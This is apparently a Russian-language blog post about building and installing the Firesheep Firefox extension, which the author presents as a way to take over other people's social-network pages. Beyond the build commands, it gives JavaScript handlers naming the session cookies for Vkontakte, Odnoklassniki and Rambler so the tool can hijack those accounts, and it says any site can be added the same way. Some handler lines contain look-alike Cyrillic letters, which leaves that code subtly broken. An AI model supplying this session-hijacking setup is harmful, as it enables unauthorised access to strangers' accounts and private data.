
Буквально сегодня на глаза попалось расширение для Firefox — Firefox Firesheep. Как оказалось благодаря ему можно получить доступ к чужим страничкам в популярных социальных сетях в два клика. Как это делается я не знаю и не вникал. А вот как установить данное чудо на операционную систему Linux сейчас расскажу.
Для работы нам понадобиться исходный код, который скачаем из GitHub с мощью следующих команд
git clone https://github.com/codebutler/firesheep.git
cd firesheep
git submodule update —init
С помощью этих двух команд мы скачем исходный код, необходимый для компиляции Firesheep в новую папку с именем «firesheep».
Перейдем непосредственно к сборке
Для компиляции Firesheep на Ubuntu 10,04 или 10,10 вам понадобятся следующие пакеты для разработки. Просто скопируйте и вставьте строку в Ваш терминал:
sudo apt-get install autoconf libtool libpcap-dev libboost-all-dev libhal-dev xulrunner-1.9.2-dev
Компиляция Firesheep
Теперь вы готовы приступить к компиляции Firesheep. Выполните следующую команду Надеюсь она пройдет у вас без ошибок:
./autogen.sh && make
Установка плагина
Если все прошло хорошо, вы должны найти новый файл с именем ‘firesheep.xpi в подкаталоге (ie; firesheep/build/). Просто перетащите его в диалоговое окно Firefox и перезапустите его.
Установка плагина под Виндовс намного проще. Нужно только скачать плагин. Далее запустить Firefox. Далее Инструменты > Дополнения > FireSheep > Настройки
В настройках по умолчанию присутствуют только забугорные соц. сети. Но мы можем добавить и наши. Для этого нужно перейти по вкладке Websites > Add > Vkontakte.ru
Далее Edit и заменяем всё следующим кодом:
register({
name: «Vkontakte.ru»,
domains: [ ‘vkontakte.ru’ ],
sessionCookieNames: [ ‘remixsid’,’remixchk’ ],
identifyUser: function () {
var resp = this.httpGet(this.siteUrl);
this.userName = resp.body.querySelector(‘#profile_name’).innerText;
this.userAvatar = resp.body.querySelector(‘#profile_avatar img’).src;
}
});
Аналогично для Odnoklassniki.ru
register({
name: «Odnoklassniki.ru»,
domains: [ ‘odnoklassniki.ru’ ],
sessionCookieNames: [ ‘JSESSIONID’ ],
identifyUser: function () {
var req = this.siteUrl + «/dk?cmd=PopLayer&st.cmd=userConfig&tkn=7823&st.layer.cmd=PopLayerEditUserProfile»;
var resp = this.httpGet(req);
this.userName = resp.bоdу.querySelector(«input[name=’fr.name’]»).value + » » + resp.bоdу.querySelector(«input[name=’fr.surname’]»).value;
}
});
И Rambler:
register({
name: «Rambler.ru»,
domains: [ ‘rambler.ru’ ],
sessionCookieNames: [ ‘rsid’ ],
identifyUser: function () {
var resp = this.httpGet(«https://id.rambler.ru/sсriрt/settings.cgi?mode=settings»);this.userName = resp.body.querySelector(«input[name=’user.fname’]»).value + » » + resp.body.querySelector(«input[name=’user.lname’]»).value;
}
});
(Таким методом можно прикрутить любой веб-сайт, если знаешь какие кукисы отвечают за авторизацию)